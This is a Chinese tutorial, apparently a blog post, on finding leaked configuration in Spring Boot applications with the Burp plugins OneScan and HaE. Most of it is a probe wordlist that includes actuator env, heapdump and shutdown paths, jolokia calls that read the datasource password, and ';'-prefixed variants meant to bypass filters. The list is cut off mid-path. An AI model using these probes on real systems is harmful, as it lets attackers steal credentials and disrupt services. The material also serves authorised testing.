写在开始

下面说一下一些渗透SpringBoot时使用的BurpSuite插件和寻找漏洞的思路，主要是找特定文件来找一些泄漏的配置

操作过程

安装OneScan和HaE

点到OneScan的Dashboard里，点开Listen Proxy Message

然后Payload里Clear然后Paste一些判断

/api/swagger.json 
/v2/swagger.json 
/api/swagger.json 
/v2/api-docs 
/api-doc 
/swagger-resources 
/druid/index.html 
/services 
/admin 
/actuator 
/api/actuator 
/APPWebService 
/v3/api-docs 
/env 
/trace 
/api/v2/api-docs 
/v2/api-docs; 
/actuator; 
/js/ueditor/ueditor.config.js 
/nacos/index.html 
/jeecg-boot/ 
/ueditor/ueditor.config.js 
/getUserInfo 
/v1/api-docs 
/OfficeServer.jsp 
/APPWebService/AppService.asmx 
/js/config.js 
/env; 
/druid/login.html 
/druid/index.html 
/druid/basic.json 
/autoconfig 
/auditevents 
/configprops 
/dump 
/env 
/env/java.home 
/features 
/health 
/heapdump 
/logfile 
/loggers 
/jolokia 
/jolokia/list 
/jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/spring.datasource.password 
/jolokia/exec/org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager/getProperty/spring.datasource.url 
/mappings 
/metrics/mem 
/metrics/ 
/restart 
/trace 
/actuator/druid/login.html 
/actuator/autoconfig 
/actuator/auditevents 
/actuator/configprops 
/actuator/beans 
/actuator/dump 
/actuator/env 
/actuator/env/java.home 
/actuator/features 
/actuator/health 
/actuator/heapdump 
/actuator/info 
/actuator/logfile 
/actuator/loggers 
/actuator/jolokia 
/actuator/jolokia/list 
/actuator/shutdown 
/actuator/trace 
/nacos 
;/api/swagger.json 
;/v2/swagger.json 
;/api/swagger.json 
;/v2/api-docs 
;/api-doc 
;/swagger-resources 
;/druid/index.html 
;/services 
;/actuator 
;/api/actuator 
;/APPWebService 
;/v3/api-docs 
;/env 
;/trace 
;/api/v2/api-docs 
;/v2/api-docs; 
;/actuator; 
;/js/ueditor/ueditor.config.js 
;/nacos/index.html 
;/jeecg-boot/ 
;/ueditor/ueditor.config.js 
;/getUserInfo 
;/v1/api-docs 
;/OfficeServer.jsp 
;/js/config.js 
;/env; 
;/druid/login.html 
;/druid/index.html 
;/druid/basic.json 
;/autoconfig 
;/auditevents 
;/configprops 
;/dump 
;/env 
;/env/java.home 
;/features 
;/health 
;/heapdump 
;/logfile 
;/loggers 
;/jolokia 
;/jolokia/list 
;/jolokia/exec/org.springframework

然后Other中再加载一下HaE

点到HaE之后在Rules添加一条

Regex设置为(\{\"\_links\"\:\{\"self),后面按照上图设置。
之后回到Proxy里打开浏览器访问页面

可以看到上面设置的红色高亮

检查一下内容，主要看env和heapdump


打开env的url查看

丢vscode中格式化

查看其中有啥重要信息没
heapdump使用JDumpSpider查看内容

写在最后

这个主要是找一些对应的文件，找对应的泄漏配置就行了，对应工具的链接放在了对应位置自行下载